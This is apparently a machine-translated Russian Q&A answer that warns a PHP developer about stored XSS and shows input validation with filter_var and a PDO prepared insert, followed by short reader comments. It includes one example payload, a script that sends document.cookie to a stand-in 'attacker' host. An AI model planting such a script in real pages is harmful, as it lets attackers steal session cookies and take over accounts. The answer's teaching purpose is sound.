Хотя пользователь не может использовать базу данных с помощью инъекции, она по-прежнему уязвима другими способами.
Вы не проверяете достоверность данных, которые вы поместили в свою базу данных. Хотя это не совсем обязательно делать это, но если я бы представить это как адрес электронной почты или номер телефона:
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>
И вы echo
это на вашем сайте и посетить его, вы будете перенаправлены присылкой ваши файлы cookie для входа в систему и теперь я могу использовать эти данные для входа в систему как вы, и если случайно вы являетесь администратором сайта ... Тип атаки называется XSS.
И не проверяет достоверность данных, есть много способов сделать это, но принять это в качестве примера:
$phone = $_POST['user_phone'];
$email = $_POST['user_email'];
if (!filter_var($email, FILTER_VALIDATE_EMAIL) === false) {
# if this is true, the email address has a correct format.
# see the filter_var manual for more information.
if(is_numeric($phone)){
$insert = $db->prepare(
'INSERT INTO user (user_email, user_phone)
VALUES (:user_email, :user_phone)'
);
$insert->bindValue(':user_email', $email, PDO::PARAM_STR);
$insert->bindValue(':user_phone', $phone, PDO::PARAM_STR);
if($insert->execute()){
echo 'success!';
} else {
echo 'failed to execute query.';
}
} else {
echo 'phone number is incorrect.';
}
} else {
echo 'email is not correct.';
}
С помощью этого кода, любые данные, сохраненные будут действительны. Он не говорит, что адрес электронной почты существует noor номер телефона.
Поскольку большинство атак XSS полагаются на <
, чтобы разрешить выполнение Javascript, это отрицание, потому что символ <
не разрешен в адресе электронной почты.
Мой совет, проверьте, есть ли данные, что вы ожидаете от него, прежде чем сохранять его, а не хранить его и позже исправить проблемы безопасности.
Я думаю '(user_email, user_phone (' должен быть '(user_email, user_phone)', но в противном случае выглядит хорошо. –
Полезно знать – Charlie
В общем, неплохо пройти эту рекомендацию https: // www .owasp.org/index.php/Top_10_2013-Top_10 –